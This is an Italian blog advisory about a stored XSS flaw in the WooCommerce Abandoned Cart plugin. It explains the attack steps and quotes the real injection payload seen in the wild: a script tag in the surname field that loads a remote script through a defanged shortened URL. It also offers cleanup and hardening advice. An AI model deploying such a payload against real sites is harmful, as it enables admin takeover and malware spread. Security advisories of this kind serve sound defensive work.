• Home
  • WordPress – Vulnerabilità XSS nel plugin Abandoned Cart

I programmatori del plugin Abandoned Cart per  WooCommerce – leggasi WordPress – hanno recentemente corretto una gravissima vulnerabilità XSS (cross-site scripting).

Scopo del plugin è quello di permettere ai proprietari di siti WooCommerce di rintracciare i carrelli abbandonati per tentare di recuperare quelle vendite. Il problema di fondo è stato che i campi dati dei form non erano correttamente intercettati e puliti. Questo ha consentito agli aggressori di iniettare in vari campi alcuni script malevoli, che poi venivano scatenati quando un utente amministratore visualizzava l’elenco dei carrelli abbandonati dalla propria dashboard di WordPress.

Prima di continuare la lettura:

Aggiornare immediatamente!se Abandoned Cart Lite o la sua versione commerciale (pro), qualora in uso!


Vulnerabilità XSS – come avviene?

Per ricreare la falla, ovvero utilizzare la vulnerabilità XSS, semplicemente creare un carrello senza aver eseguito il login, per poi inizare il processo di checkout (pagamento).

Non compilare tutti i dati richiesti ed infine abbandonare il carrello o chiudere il browser. Il plugin Abandoned Cart a questo punto avrà salvato sul database i dati raccolti sino a lì. Il proprietario dello shop online potrà vedere lo stato di quel carrello abbandonato nella specifica dashboard.

Il grave problema è che il sistema con cui Abandoned Cart recupera i dati dal form è del tipo “così come sono”: in sostanza, non esegue alcuna sanitizzazione.

E ancor peggio, non la esegue neppure quando disegna il pannello di amminsitrazione nel browser (dell’utente admin di Woocommerce).

Il campo Customer mostrato a questo punto sulla dashboard è il target degli hackers.

Gli attacchi sono stati nel tempo costanti e consistenti. Ove il plugin non sia stato aggiornato all’ultima versione, viene – tuttora – creato un carrello random, fornite informazioni di contatto false  costruite di modo che nel cognome sia presente <script src=hXXps://bit[.]ly/2SzpVBY></script>.

Non scendo in dettagli troppo tecnici, ma questo metodo permette agli hacker diverse importanti cose:

  • se il link al di là di bit.ly viene abbattuto, chi esegue gli attacchi può semplicemente riportare il proprio sistema su altro sito e cambiare il puntamento di bit.ly su di esso
  • il malware dall’altra parte usa il browser della vittima per creare un utente amminsitratore
  • con quest’ultimo utente infetta i plugin disattivi tramite cui si riproduce il malware, permette esecuzioni di comandi sul server e, soprattutto, avvisa l’hacker dell’avvenuta infezione

Aggiornare subito il plugin Abandoned Cart, ma…

L’attuale versione del plugin (5.2.1)si occupa di ripulire i campi del form del carrello abbandonato prima di salvare i dati nel database di WordPress. Inoltre esegue una scansione dei carrelli ancora abbandonati e se trova l’infezione ripulisce i dati.Infine, qualora Abandoned Cart identificasse l’utente malevolo creato dal malware, procede alla sua eliminazione.

In tutto questo c’è un enorme ma. Abandoned Cart non ripulisce i dati proiettati sulla dashboard (verifica fatta a monte, ma non a valle). Inoltre, non verifica la questione plugin inattivi infettati. Ancora, cabla la patch direttamente ai dati attualmente usati dagli hacker (quell’esatto script, quell’esatta URL, quell’esatto nome utente, quell’esatta email). Una minima variante della modalità di attacco permetterebbe di bypassare la misera patch con poco sforzo.


Che fare allora?

Innanzitutto, verificare con alta frequenza quali account esistono nella propria installazione della coppia WordPress – Woocommerce. Eliminare qualunque account non autorizzato.

In secondo luogo, verificare nella struttura del database di WordPress una tabella il cui nome comprende ac_guest_abandoned_cart_history. In essa, i campi che si riferiscono a nome e cognome potrebbero contenere lo script – o similare – indicato poco sopra.

Questo tipo di attacco è, in oggni caso, all’ordine del giorno. La raccomandazione è di usare uno dei plugin più rinomati nella pagina dei plugin di WordPress. A tal proposito consiglio: Sucuri SecurityCerber, Wordfence, Ninja Firewall, BulletProof Security.


Segui @andymnc (Andrea Manconi) su Twitter per essere sempre aggiornato su guide ed articoli.


Condividi: